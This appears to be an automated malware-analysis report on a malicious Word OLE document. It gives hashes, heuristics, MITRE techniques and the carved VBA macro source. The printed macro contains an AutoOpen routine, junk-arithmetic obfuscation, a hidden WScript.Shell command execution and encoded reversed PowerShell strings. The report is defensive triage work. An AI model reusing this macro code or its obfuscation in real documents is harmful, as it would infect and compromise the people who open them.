Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 77732121b5cbec77…

MALICIOUS

Office (OLE)

105.1 KB First seen: 2019-04-17
MD5: 7d3e3abd3cfedc052a94f2434c4cece0 SHA-1: 2d592d04dc769c04cad3d50566c6ea79668624a9 SHA-256: 77732121b5cbec77b620f5eb569689020416960f37958efc8a82b196a80851b1
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within VBA macros. Additionally, OLE_VBA_WSCRIPT confirms WScript.Shell usage. The AutoOpen macro is present and configured to execute code, suggesting an automated execution flow upon opening the document. The primary function of the VBA script appears to be the execution of commands via WScript.Shell, which is commonly used to download and execute further malicious content.

Heuristics 9

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    jJcRsvtUn = GjwPI * YFNCSw / UDqjTR - Round(9212826 * CSng(6048300 * CInt(nVqN)) + NFjG - Round(rwizI)) - 544 / rQFGz + kkUH / Rnd(CPaD) * (8476755 / CDbl(46003) + (vbZvYL / CByte(9937851 / CDbl(5707918) - 9282767 / 7466124)))
CreateObject("WScript.Shell").Run sqGhLb + uXMjwDOrQwMAjh + qYNmk + sEADUf, vbHide
czvlBhvws = HVEzcc * GVDz / BbfI - Round(8122381 * CSng(3557463 * CInt(UKwI)) + KIwF - Round(zQiI)) - 544 / RrindQ + tiRjYz / Rnd(Fsrct) * (4550093 / CDbl(6870764) + (MnmU / CByte(6065549 / CDbl(2299430) - 207043 / 4234020)))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    jJcRsvtUn = GjwPI * YFNCSw / UDqjTR - Round(9212826 * CSng(6048300 * CInt(nVqN)) + NFjG - Round(rwizI)) - 544 / rQFGz + kkUH / Rnd(CPaD) * (8476755 / CDbl(46003) + (vbZvYL / CByte(9937851 / CDbl(5707918) - 9282767 / 7466124)))
CreateObject("WScript.Shell").Run sqGhLb + uXMjwDOrQwMAjh + qYNmk + sEADUf, vbHide
czvlBhvws = HVEzcc * GVDz / BbfI - Round(8122381 * CSng(3557463 * CInt(UKwI)) + KIwF - Round(zQiI)) - 544 / RrindQ + tiRjYz / Rnd(Fsrct) * (4550093 / CDbl(6870764) + (MnmU / CByte(6065549 / CDbl(2299430) - 207043 / 4234020)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "daHGNZUG"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 28894 bytes
SHA-256: c89d7210adcf3859c1eecfe0d21bae5894203c4de1090a02f6f667f031ecc221
Detection
ClamAV: No threats found
Obfuscation or payload: likely
454 of 668 identifiers look randomly generated (e.g. 'MnlwFpAEGAjBQYAMDAxAAMAgDAlBQNAcDAwAQOAg') — consistent with name-mangling obfuscation. Carved artifact contains 22 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "daHGNZUG"
Sub AutoOpen()
On Error Resume Next
WziDFsbGO = RjdtG * HPmURV / czKW - Round(4822954 * CSng(5458083 * CInt(umwJzv)) + jtosNt - Round(qlik)) - 544 / IzwnA + BsGGvV / Rnd(dfff) * (7597907 / CDbl(3934403) + (KLaWzc / CByte(734339 / CDbl(5310083) - 8526295 / 7282374)))
MbmETkwww = vDhaz * pjOjK / NoKzZb - Round(8009121 * CSng(4658099 * CInt(aAUtTj)) + Kvijrz - Round(HdzYim)) - 544 / NJaPO + uWLUJX / Rnd(VCNhdk) * (8322881 / CDbl(4971253) + (AiGNo / CByte(561865 / CDbl(3725777) - 4889100 / 625683)))
LlQMrtiFk = nkOX * QdEQS / uvuuIw - Round(1718705 * CSng(17680 * CInt(rClR)) + mTJLTC - Round(znmjm)) - 544 / mzKw + GIQq / Rnd(SiwVF) * (5188024 / CDbl(2231788) + (wwZhzU / CByte(8783988 / CDbl(9483999) - 3121382 / 4275397)))
vHHLWpWCw = AiIhww * cWjSYc / kphF - Round(164376 * CSng(8158519 * CInt(FqmV)) + OHMHz - Round(cSkT)) - 544 / rkAdRa + DWfGaj / Rnd(QBIp) * (9137406 / CDbl(7747066) + (LNhjQ / CByte(3012398 / CDbl(6398006) - 2994480 / 9276842)))
Application.Run "fqNwGvZ", JpHqbJKzLqkcWC
KRRBqVANn = HjwDI * fziBT / ofRfW - Round(3686503 * CSng(8732165 * CInt(KCna)) + pJfRv - Round(vBQh)) - 544 / NKZDkP + Nchcmj / Rnd(wjTl) * (3832616 / CDbl(922662) + (YiTXzi / CByte(7566744 / CDbl(142695) - 4640799 / 5243621)))
XziSMuqQu = aznM * vHzUb / wcso - Round(5397734 * CSng(1102738 * CInt(khLME)) + FoFr - Round(mdVZAV)) - 544 / uHAEb + jwLaVm / Rnd(koKfN) * (8619770 / CDbl(2551697) + (hHiqPL / CByte(6395622 / CDbl(9661059) - 8927018 / 4566090)))
bWOhwfjGV = IuiSS * BwTp / IHjM - Round(24582 * CSng(3358722 * CInt(Lizw)) + DuPP - Round(pizG)) - 544 / jlncQ + CKifE / Rnd(TPiU) * (9691189 / CDbl(2672494) + (vqhKd / CByte(5230223 / CDbl(4723048) - 629990 / 9664990)))
wIoqFkavZ = BqIUQ * MraAj / rRjKh - Round(9969712 * CSng(5221108 * CInt(BrUE)) + ZqOF - Round(omvbMc)) - 544 / WQqRjz + RQRX / Rnd(uDbU) * (2994595 / CDbl(4173837) + (VEIq / CByte(5448583 / CDbl(9662716) - 7212647 / 8381286)))
End Sub
Function JpHqbJKzLqkcWC()
On Error Resume Next
rHZJSjsi.nAAasrpGfFTnZzfNazGFG
NLhwNPbcnq = fshu3bbnabn3("%<N6nZz2Qj.fzSSNV9]XjvAiBgZAUGAmBQZAQDAkBQMAMDAhBQYAUDAmBgYAEDAhBQZAIDAlBQZAMDAhBQZAEGA0AgMAMGA4AQYAIGAjBAZAcDAkBQMAUGAyAgMAIGAhBgMAYDAkBQMAADAzAQNAgDAzAgZAYDAxAwYAQDA3AgMAUDAzAgNAEDA3AQZAMDAlBAMAgDAzAAvAK", 4, 180)
rHZJSjsi.nAAasrpGfFTnZzfNazGFG
FWLKzjlTvwML.iclFNjiMSscCtwnzVZPVdRYAD
UhDSYvzKsi = fshu3bbnabn3("ljTutbNAYDAwAwYAgDA1AAOAMGAlBAMAADAlBwNAEGA3AgYAQDA4AAOAMGAjBwYAIGAhBQYAQGAkBQYAQGA1AQYAQDAzAgMAMDA5AwNAADAyAwMAQGArHj#", 5, 109)
FWLKzjlTvwML.iclFNjiMSscCtwnzVZPVdRYAD
EwSBUwjCVU.UKcZaFmSDzrmjFpuhFRmdWpijRHal
NODIKQ = fshu3bbnabn3("Hq8H@NCi<YO$fF(VJV9iXB)]zVR#DZtH21lAwMAgDAiBQZAUDAzAgNAEGAzAwYAkDAxAAZAIGAxAgYAgDAwAwNAYGA0AAMAUDAwAANAEDAiBQYAIGAxAgNAUGA2AANAQDAjBQOAMGA3AwNAgDAyAwYAcDA5AAZAkEV[", 4, 125)
EwSBUwjCVU.UKcZaFmSDzrmjFpuhFRmdWpijRHal
OkrRmwdkpvb.ztpKiPQjzJUzXMhuoZpomTSqC
TCuDGo = fshu3bbnabn3("nJt@8_4bkBwNAADA1AwMAIDAlBQOAQDA5AQMAADAwAQZAUDAxAgNAkDAmBAkZ(NJ]w", 8, 51)
OkrRmwdkpvb.ztpKiPQjzJUzXMhuoZpomTSqC
jkBOcQififqG.CwRbVHXowbZTjiYhfS
MpajG = fshu3bbnabn3("P<F<EXPmq_HwAAOAMDA2AgYAMGAwH_", 3, 17)
jkBOcQififqG.CwRbVHXowbZTjiYhfS
jOjBdmDidh.pkjlXuFjikWnzpbwBSaEEjOlunSn
HYJoYPsMu = fshu3bbnabn3("cP@VCq#$Iqkj8pWE4OAcDA0AQMAUDAzAQOAUGA5AQMAEGAjBQOAIGAwAQYAEGA4AAOAMDAlBgMAIGA2AQOAQDA2AQZAYDA3AwMAIDAjBwNAIDAkBQZAMGAjBgMAcDAwAQOAcDA4AQZAMGA0AQMAMGA4AAZAUGAzAANAcDAmBgMAwHA9AQPAEEAvBQUAUDAuBgSA8CAwAAeA8EAlBwZ%ud", 4, 193)
jOjBdmDidh.pkjlXuFjikWnzpbwBSaEEjOlunSn
LrwqoJdNXmQ.tiquOjiPjLjsMVbZfPzH
WJivREq = fshu3bbnabn3("SHf4NM(%pK[4<TEnSuk)))) )32,78,011,201,031,642,72,241,08,43,14,6,542,161,31,321,411,722,532,88,081,74,391,491  k-  gNirTSeruCeS-OTtrEvnOC|'==AAiBQYAMDAiBgNAADAlBANAMDA3AQYAQDAhBQOAQGAkBQzB%iu)tl", 9, 167)
LrwqoJdNXmQ.tiquOjiPjLjsMVbZfPzH
wsvZYPRX.wiXldavPNwpjuQJak
imjctZOOj = fshu3bbnabn3("ftncqS7k(KC<NHWGkEPiQZAUDA3AANAEGAyAQYAgDAkBQNAEDAkBQYAUDAjBwMAYGAwAgZAADAkBAOAIDA3AAOAcDAyAgNAQGAzAAMAYDA0AQZAgDA0AAZAMDA4AgNAIDAmBAMAQGAlBQMAMGAzAwMAEGAiBgZAYGA2AQOAEDA5AQOAQDA3AQMAYDAjBgYAQGAxn<lUWqr0%2%Q2%Nm", 17, 175)
wsvZYPRX.wiXldavPNwpjuQJak
UjMzhLnRaS.wWjuEFsqsMTIsmwaOHJTOpr
iYwKE = fshu3bbnabn3("WZJF_<qdHbnUR[(EkoVnI.)EMaN.]4[D4u%$TPo<X!nH5A#5", 18, 21)
UjMzhLnRaS.wWjuEFsqsMTIsmwaOHJTOpr
iEWsCkwFJ.foDAvzldjtVMGXkusjFJJsqaKnVPv
WOzNqLjMqci = fshu3bbnabn3("DMSZXHdBAMAUDA2AAOAEDA3AANAIDAiBANAcDAyAgMAEDA1AgMAMGAyAQMAIDA0AQNAYDAlBgYAIGAmBQNAUGAkBwNAYGA5AAOAkDAwAwMAkDA0AwMAIGA1AAOAEGA3AQZAYGA4AAZAEGAjBgZAIGAmBAOAIDAyAQOAIDA4AQMivLP4j6XndkT2Nwz", 17, 163)
iEWsCkwFJ.foDAvzldjtVMGXkusjFJJsqaKnVPv
haqUutHD.OzJswridAUSv
hqkTwQhshnw = fshu3bbnabn3("GfnAIGAjBgYAYGAwAQNAUDAy16F)jUz]", 9, 21)
haqUutHD.OzJswridAUSv
sHzFYvjYrBGh.mvFZwhtrpsDfWNf
QWTbTYcX = fshu3bbnabn3("CB23NtY]]CmOAEDAzAQOAUGAzAQOAUGA1AwNAIGAzAAOAUGA1AQNAYDAmBAZAEGAxAAZAEGAlBAMAYDAyAgZAQGA0AQZAEDA0AQOAQDA3AgMAMGAjBwYAMDA2AgZAEDAzAgZAQGA4AgYAMDA1AgZAcDA2AwMAMDA1AAMAgDA1AAMAADA5AQZAMGAkBAOAQDA4AQNAgJ$Ho0", 6, 187)
sHzFYvjYrBGh.mvFZwhtrpsDfWNf
vCbsZJjrz.vPHVXSqIbrFwnFUoD
HirOXiwfHCZ = fshu3bbnabn3("nHu5$zJpvnQ9gMAYGA3AwYAYGA3AgYAcDAiBgNAIGA3AwYAQDAzAANAMGA2Aw(jHuU(%mH@!KjjQMj1j9%", 22, 49)
vCbsZJjrz.vPHVXSqIbrFwnFUoD
cWtHunwYLXt.LZEUStLFTIhBRWnz
MHBOWnRH = fshu3bbnabn3("kY<8fFNbHjvGW9jjDjNHMAIGA4AAOAEDAkBwMAQDAlBgNAYGA5AQOAIDAhBAOAcDAzAQMAkDAxAAMAcDA4AgNAQGAkBgNAIDAxAQYAUGA0AgNAUDA3AAOAMDAhBgMAQGA1A_WOQNcuMC]]Yrwjl8", 18, 111)
cWtHunwYLXt.LZEUStLFTIhBRWnz
CVVzOqBOj.QOvIYBkfdmmlEUN
EbULQdQ = fshu3bbnabn3("Wj(DJWozTz7Y26YY TAUDA1AQYAUDAxAwNAUGA2AAMAQGA3AQOAUDAlBwYAcDA4AwMAQDAjBQOAEGAzAQZAYGA5AgNAUDA4AAZAQDAlBwNAcDAiBAZAcDAiBAMAIGAmBAOAUDAjBwMAUDA3AQOAEDA1AAOAIDAlBwNAIGA5AgNAUGA5AgMjjt%h(W4XUCpXi0HQ9Q", 20, 160)
CVVzOqBOj.QOvIYBkfdmmlEUN
lEBuHriFLX.sTqYdCZKRhOzO
SwkWvnN = fshu3bbnabn3("Q!GMKYGAyAgMAgDAzAwYAEGAmBwYAcDA4AwNAkDA4AgZAgDA4AwNAMDAkBwMAEGAkBANAEDAlBgZAVE#@juit[<AQw#", 15, 71)
lEBuHriFLX.sTqYdCZKRhOzO
BXYzfnHpzI.hSjiNEwicJqdlTDDNPrcBv
CbFjFoscJjq = fshu3bbnabn3("oU%vv04wYkfqoJDNMtjL$Jb6ZlMGAyAQMAUGAlBAMAQGAxAg)dS[", 5, 22)
BXYzfnHpzI.hSjiNEwicJqdlTDDNPrcBv
AcKQbpUwr.jtnVHpODjzDGFwXXVlLPY
waCclq = fshu3bbnabn3("pHAuwRZAQDAmBAMAMDAxAQZAUDA1AgYAQGAkBgMAYDAyAgYAYDAkBQNAEGAwAAMAEDAwAQMAMGA2AQOAIGAlBQYAEGAiBwNAYDAiBQNAYGA2AwYAEDAjBgZAQGAyAgZAQGA1AAZAADAxAAOAEDA4AQYAIGAjBQZAADA5AQMAvC6U@", 6, 162)
AcKQbpUwr.jtnVHpODjzDGFwXXVlLPY
HGLqpVUfc.iRnNBjvGjlNPzufrYmIhZ
GjVuqSpW = fshu3bbnabn3("w3$Pvn2V$lDAiBAMAYGAkBANAQGA1AQNAIDA0AgYAgDAxAQYAMGAiBQZAMDAwAAMAQGA4AwNAgDA0AQYAIDAhBwNAYDAyAgMAIGA2AAZAcDA2AQNAQDA4AgMAQDAwAwYAIDAxAAOAYDAkBgYAMDAlBQOAQGA4AQYAgDAzAQMAIGAiBQOAIGA4AAOAgDAyAAo(z7i(5AoXw$sHv0N7", 19, 181)
HGLqpVUfc.iRnNBjvGjlNPzufrYmIhZ
faNHrwSzAfd.zjhdFYSqTQEANzwjrfiTOGSXcGj
inoOVh = fshu3bbnabn3("vL[@fmBQZAIDAmBgYAgDA0AgZAkDAzAAOAMGAiBQYAcDAxAAOAUDAhBgYAkDAmBQZAEDAn0HV%uc2]k]FHN3wZzblmAf3", 25, 63)
faNHrwSzAfd.zjhdFYSqTQEANzwjrfiTOGSXcGj
CsUiuwjuhQ.siiUjQPCkWrrlnOZAhnvRf
vMBCW = fshu3bbnabn3("CVRaM.secIVRESpOREtnI.eMitnUR[(::]lAHSRAM.SecIvreSporETNI.emITnuR[ ( ()''nIOJ-]52,51,4[CEPsMoc:Vne$ ( &JbX%z7A%", 9, 101)
CsUiuwjuhQ.siiUjQPCkWrrlnOZAhnvRf
tjRonSWwS.AiDpZlikTVlwpJ
bnLdzjPYk = fshu3bbnabn3("pQl$[Bmf0wE7bP61JI9ZHUGAmBgYAYDAiBAZAgDAzAgZAUDA4AAZAADA4AwNAcDAxARXH%", 5, 45)
tjRonSWwS.AiDpZlikTVlwpJ
VYwGZTBCM.OVpCMorXTqvoMViIZMckjYSNQPD
rsGVzFK = fshu3bbnabn3("nzbRAEDAjBAMAgDA4AAMAcDAhBwNAQGAyAgYAIDAlBgNAEGA1AwYAEGAlBQOAMGAzAQNAkDAwAANAEGAwAQOAIGAjBgNAgDAkBgYAMDAmBgZAIGAiBgMAQDAzAQZ2hAPuvqpF$fH7FK(", 17, 120)
VYwGZTBCM.OVpCMorXTqvoMViIZMckjYSNQPD
FLmGazRpWB.tcXJjmBbzvVaMPwAcELOKtVs
VjmYiR = fshu3bbnabn3("i]YJHwjCzQYAYGAxAgMAEDAxAwNAIGAkBgNAADA0AgZAQDAmBgMAUGA2AQNAUv_", 3, 52)
FLmGazRpWB.tcXJjmBbzvVaMPwAcELOKtVs
OZYTfzpGUbR.PFfojpEwiEGCCZTkqz
nLWBq = fshu3bbnabn3("0Z#EGA3AwMAQGAzAQNAIDAhBAZAQDA1AANAkDAjBAOAkDA4AQOAIGAiBwYAEGAFEwjXlBiT9oHX%WN#j8Wk@", 23, 59)
OZYTfzpGUbR.PFfojpEwiEGCCZTkqz
uljkETjwjOEs.bQjjhJjCNOlRBQdGwBjv
tlwVd = fshu3bbnabn3("j[9V]jBgMAEDAiBwYAYDAzAAZAUGAmBgNAkDAzAwYAIDA0ANt9ipATZ", 9, 42)
uljkETjwjOEs.bQjjhJjCNOlRBQdGwBjv
UYFCKwjdpB.hidwDtkuLMSbMT
XZFzz = fshu3bbnabn3("HiAMAQGAkBwYAIDA0AANAgDAhBQOAQGAlBgMAQGA2AQNAEGAiBQNAUDAkBgNAIDAiBgZAEGA2AgZAUGAxAgNAADA2AQZAUGA0AgZAQGA0AwNAQDA5AwYAEDA0AQMAEGAxAQMAIDA4AAOAUDAlBQYAkDA3AAMAMGA5AANAIGA2AgMAIDA5AgY]!Col#%FqnbN_vowvN2junIDBAl8jY", 31, 178)
UYFCKwjdpB.hidwDtkuLMSbMT
wGBwlwmHoG.qTdlbjlLOrrpflT
VMGIz = fshu3bbnabn3("RHq8$QHFv@jJTNdzVS8q5XSlYwFnS%b%KYBgZAMGA1AgMAQDA3AgYAMDA4AQOAUDAhBQYucKb", 5, 35)
wGBwlwmHoG.qTdlbjlLOrrpflT
zrrtztChlwR.FGAiYhZSBdRo
oUXwEiJib = fshu3bbnabn3("%5vQS2($9(2r2LUWNn(]v]AlPEMAEDAhBwYAYDAjBQYAIDAzAAZAEDA4AQMAMDAwAQMAMDA0AwMAkDAlBQOAcDA3AQNAUGAzAAZAMGAhBgYAIGAkBwYAQDA4AgNAgDAjBwNAcDAjBAMAEDAwAwMAEDA4AgYAUDAmBQZAQGAxAQMAUGA0AANAMDAmBgYAEDAlBQMAUDAlBwNAYDA4AgYAYDA1z", 2, 190)
zrrtztChlwR.FGAiYhZSBdRo
BuWFFLjvQuN.QBlozHaddGKjKcaZpmctH
jFkDjtSmzz = fshu3bbnabn3("$FE8ppvqvM1oPvAiBQZAUGAmBQNAUGA4AAOAMGA5AAMAIGA0AANAkDAiBANAEGAwAANAIDAwAAMAUDA1AgYAIDAyAgZAYGAwAAZAgDAjBwYAcDA5AAZAUDuJFi8NstHlocwMmHun_", 20, 104)
BuWFFLjvQuN.QBlozHaddGKjKcaZpmctH
VhpzmzMJ.iSUJRJCwMnPvzuCj
QQZVj = fshu3bbnabn3("Tp7k@TP(KU4SVjHDAyAQNAQDAxAAMAkDA0AAZAQDAyAQYAIDAwAQZAgDAzAAOAUDA1AwNAADA2AwMAUDA0AQMAcDA3AAZAIGAhBQMAMGA4AQOAYDAhBAZAADAwAQMAYGA1AAMAIGAjBQYAMDAlBAMAUGAwAQYAYD<n_bMTI7PM8", 12, 145)
VhpzmzMJ.iSUJRJCwMnPvzuCj
fhjwqVWDJo.zuIjEzLLslzIvqsimLAQWKz
qEPncROYjq = fshu3bbnabn3("jHdAgDAkBwNAIDAlBQMAYGA3AANAQDAkBgZAEGAlBAMAUDAxAAZAEGAmBwNAADAxAgZAEDAhBANAgDAzAQYAIDA4AwNAQGA1AgNAgDA4AQOAIDAhBQYAEDAmBgNAQDAkBgZAIGAzAwNATkoHHT2vrbv2(Ykh#KqJkHjMrN6", 28, 137)
fhjwqVWDJo.zuIjEzLLslzIvqsimLAQWKz
WzXBTQjTE.FTLmAYCzHHiVwjfaumI
zlBzErpJM = fshu3bbnabn3("DNp(8@qowXlAOAkDA3AQNAQDAjBANAEGAzAQNAkDAkBAOAIDAiBQYAYDAiBAMAMGA1ASE%08Ab3<qSf[M", 15, 56)
WzXBTQjTE.FTLmAYCzHHiVwjfaumI
jABEbpXEtfRv.jZUBwvwPAuHthbCBSwYnSTXpr
QjGQR = fshu3bbnabn3("jjHDQ)MKMdW)U4d_fzpzHU2gMAUGAhBAZAQGAzAAOAEDA1AAMAADAzAQZAUGA0AQMAIDAkBgYAkDA2AQNAYDAm9w6LP80u9JciH", 14, 63)
jABEbpXEtfRv.jZUBwvwPAuHthbCBSwYnSTXpr
buWFrPXMrDB.UdzwMbNnDUVrNT
THNfcSXlT = fshu3bbnabn3("W[]jzWznAcEA4BwUAYGAuBgYAEGA3AQcAMGA8BgM5435a05061b3143240f3476111d29467'($ (edOcinUcOlLalaboLGOTGNIrtsERUCEs::]lAhsRam.seCIVRESPoRETNi.emitpj1i2WphYAQA4Nbf", 17, 132)
buWFrPXMrDB.UdzwMbNnDUVrNT
ljuvnFPjPEf.jEWhMPruXPuwiqiPuGKVitiAuU
wIDcGM = fshu3bbnabn3("k<AAOAEDA5AAMAADAyAgMAMGAjBgMAEGAxAQYAgDAxAgNAIGA0AAZAcDAwAAZAADAiBQYAEDAxAgNAcDA2AwNAgDAiBwNAEDAmBAZAADAwAQZAADAxAwMAYDAiBwNAMDA2AgNAEGAhBAOAMGAyAANAQDA4AwNAYGAhBAMAkDA5AgYv[PWTMHl]WQP4F]MC po%jvu2YTc%", 30, 171)
ljuvnFPjPEf.jEWhMPruXPuwiqiPuGKVitiAuU
rzQvpMqbYhth.ZCnIlSMLsrPIHzRz
GsmriBijnJK = fshu3bbnabn3("HkjbZ[Lu74]ptYOAgDA1AgNAYDAwAQMAMDAlBgNAYDAhBAZAcDA0AQNAEFiqwCJq%JH22M", 14, 43)
rzQvpMqbYhth.ZCnIlSMLsrPIHzRz
cAzNJhsjiNp.KVBqFlLVvBKSKVFt
qvIcAaiSUEz = fshu3bbnabn3("%z)sAwNAEDA1AwYAEGAmBAMAYGAwAAZAMGEnkF((sWpp Akw%TXN3[ZC<", 24, 30)
cAzNJhsjiNp.KVBqFlLVvBKSKVFt
IowPIOPiq.nsQoAJWMIhqPbkHfwDPAJiiqFmz
ZvLJIASHkS = fshu3bbnabn3("tuYAEDA0AQYAMGAlBANAMGAmBgYAkDAjBwNAQDA4AQMAgDA2AQYAUGAhBwYAIDAiBgNAMDAyAgMAgDAlBwMAYDA5AgMAMGAxAAZAIDA1AAOAIGAxAAOAUDA1AwNAYDA4AAOAkDA5AgYAkDA0AQZAIDAjBwMAYDAwAgNAUDAmBwMAEGAiBQYAEGAhNwSj@]VDYh2N", 13, 182)
IowPIOPiq.nsQoAJWMIhqPbkHfwDPAJiiqFmz
FEJlJUtEnJEO.JLAviRBiYOHoJtTwHWA
XwpEAj = fshu3bbnabn3("b$wH<GqS2%MfVKbLHA2AwYAADAjBQOAADAxAwNAEDAyAAMAgDAlBQZAkDAkBwMAkDAmBgYAEDA5AQMAQDA5AgMAUGA3AQNAIDAjBQOAgDAjBgYAIGA2AwMAIDA4AQOAEGAxAQZAEDAlBQOAADAzAgNAEDA1At<vi9B7q5Q", 11, 139)
FEJlJUtEnJEO.JLAviRBiYOHoJtTwHWA
VsjozazYCZ.bNjGdQEpzqwEFPOCAEk
UItGp = fshu3bbnabn3("%TM4DAxAANAEDAzAgMAkDAmBgMAUGAzAQOAcDA0AAOAUGAmBQOAYDAwAQNAgDA3AgYAMGA2AAZAUGAmBQYAIGAxAQZAEDAlBgNAUGA1AAMAMGAiBAOAgDA5AAOAIGA5AQNAW2MHph", 7, 127)
VsjozazYCZ.bNjGdQEpzqwEFPOCAEk
wtGPulpPoZ.sKBVawmKIsYCAipswsQBarIADrfnA
DZfYHOcwOqz = fshu3bbnabn3("Ao7dBjNwDlNKN8(GA3AQOAADA3AQZAUDA2AgYAQDAxAQNAEGAiBQMAADAyAQYAUGAhBQNAQGAyAgXnM", 4, 61)
wtGPulpPoZ.sKBVawmKIsYCAipswsQBarIADrfnA
pjBJHKRjp.JodmFzTpwnYFKHi
huIEFjGUU = fshu3bbnabn3("MnlwFpAEGAjBQYAMDAxAAMAgDAlBQNAcDAwAQOAgDAlBwNAIDAyAgNAYGAwAgZAEGAwAQZAEGAjBANAIDAiBANAEGAlBgZAIGAlBgYAUGA0AANAIDAlBwYAUGAhBgYAQGAjBgYAoDmY8D", 7, 129)
pjBJHKRjp.JodmFzTpwnYFKHi
mbTRCjjhl.sLrVlzJjzZJuHUfposMwuQP
PwioR = fshu3bbnabn3("EwME([E%Mj<0Y.XFOAIDAhBQOAQGA3AANAMDAkBQYAEDAyAgNAIGAlBQMAYGAhBAMAkDAwAQNAgDAlU<p$bY0f2", 10, 62)
mbTRCjjhl.sLrVlzJjzZJuHUfposMwuQP
RQwfRpNrNXH.wkpuDKmdszcUfIVaQiAlpFCsr
jfwAz = fshu3bbnabn3("]GNnzjbV6u2oqlO7TL_]u6N<cQ]0AQMAUGAlBgZAgDA0AQZAMDAxAwNAMGA5AgZAQDAzAQOAQDA0AAZAkDAwAQYAIDAxAgNAIGA4AgZAMGA2AAOAEGA3AwMAUGAyAgZAQDAkBwMAYGAzAQYAIGA4AANQ18FH]", 7, 123)
RQwfRpNrNXH.wkpuDKmdszcUfIVaQiAlpFCsr
fPuiFwazKFC.XzFuIHEKhIAkKRvlnciQECU
jtuFldqhIDD = fshu3bbnabn3("CGclT(U@kMDA0AAOAMDAjBgNAcDAlBAOAcDAiBgMAQGAxAQNAIDAjBQZAcDA2AQYAADA4AQMAMDAmBgMAUGAyAgYAQGAzAAMAEGAiBgZAV<f5fQ", 7, 96)
fPuiFwazKFC.XzFuIHEKhIAkKRvlnciQECU
BpvlGibqAh.CSjAwMfcioAiXbwww
wUVqiWzVj = fshu3bbnabn3("$64t$cYvCW(<toAZAIGAjBgMAEGA2S$[uLmIYX#w!izYM", 17, 14)
BpvlGibqAh.CSjAwMfcioAiXbwww
zrDoMGHIPDs.EYDRjkoZWRPXFRjRtRG
oqtmnK = fshu3bbnabn3("([2Sr[%Y8V7T]jbTC[HfMMIDA2AQMAQDA1AQYAMDA1AwMAUGAiBQZAQGAlBQMAEGA2AgYAQDAkBQNAIGAzAQZAYGAyAAZAYGAyAANAMDAlBAMAUGA4AgNAYDA5AAZAIGA1AQZAMDAmBQYAkD[HmlTH1#w2v$", 13, 122)
zrDoMGHIPDs.EYDRjkoZWRPXFRjRtRG
awNjOPQLhzq.cDVEiHfikawzaZCSNkJDDEuDi
UAVVRdHFJcc = fshu3bbnabn3("9HQNAkDAxAANAgDA5AAMAIGA0AANAEGA3AwNAIDA4AQOAMGAwAQNAADAiBAMAUDA1AgZAcDA1AQOAMGAxAQOAIGAxAQZAIGAiBgNAEGAlBQNAu<qwm12p[zT_ntnkP@tPhoI0wrtHU", 30, 107)
awNjOPQLhzq.cDVEiHfikawzaZCSNkJDDEuDi
AjmilfWfsl.OIikGfIzKipDZTZAqAftXEzD
jOIbKZnuGw = fshu3bbnabn3("(Zf]HvZqofAADA2AQYAIGAxAAOAMGAjBAOAEDAjBgYAkDA1AwMAkDAkBgYAEDA4AgMAMDA3ApbN7fNf", 8, 62)
AjmilfWfsl.OIikGfIzKipDZTZAqAftXEzD
wAGrTABJGfU.YihmOOlRXmYdfQU
dIkPpWzrJVa = fshu3bbnabn3("(c5it8%0HW(vCMbDj8NfoBHzmAgDA1AwYAIGA3AQMAIGAjBQNAUGAiBANAcDA3AQNAcDA2AQMAQGA5AgZAMDAiBQMAgDA4AQMAIGAlBAOAQGA2AQYAUDA4AAMAUGAlBwYAYDA3AQOAIGA0AANAYDA4AQMAEGA4AAMAADAjBQZAMDAlBAUqpoz3]Z(iN7j", 14, 151)
wAGrTABJGfU.YihmOOlRXmYdfQU
ZWZpKMNiYo.TNhCiblXYAYGMGzOBtw
TqjBfNhEE = fshu3bbnabn3("WolqW91jTB)(SREbMEmTeG.]LAHSwz", 3, 18)
ZWZpKMNiYo.TNhCiblXYAYGMGzOBtw
iNisQWGIkkMn.MUMbcKqKwquEVlEFAjHaqMfHk
kDSKjwVVAF = fshu3bbnabn3("kjtjONLjQAYH$j[<([W[%MzAzAgYAMGAkBQOAcDAjBwNAIGAyAAMAIDA5AgMAMDAhBQYAUGAyAQNAYDAwAANAUDAxAAMAIDAzAQNAQDAlBQNAMGAkBQYAQGA2AATUz", 4, 100)
iNisQWGIkkMn.MUMbcKqKwquEVlEFAjHaqMfHk
wMalBjjGoi.hPcJwFwNaJFPoiVjtrwcljGCC
PjYwvSfIUi = fshu3bbnabn3("RT[Jd8M]7djf)TAQMAECN", 3, 5)
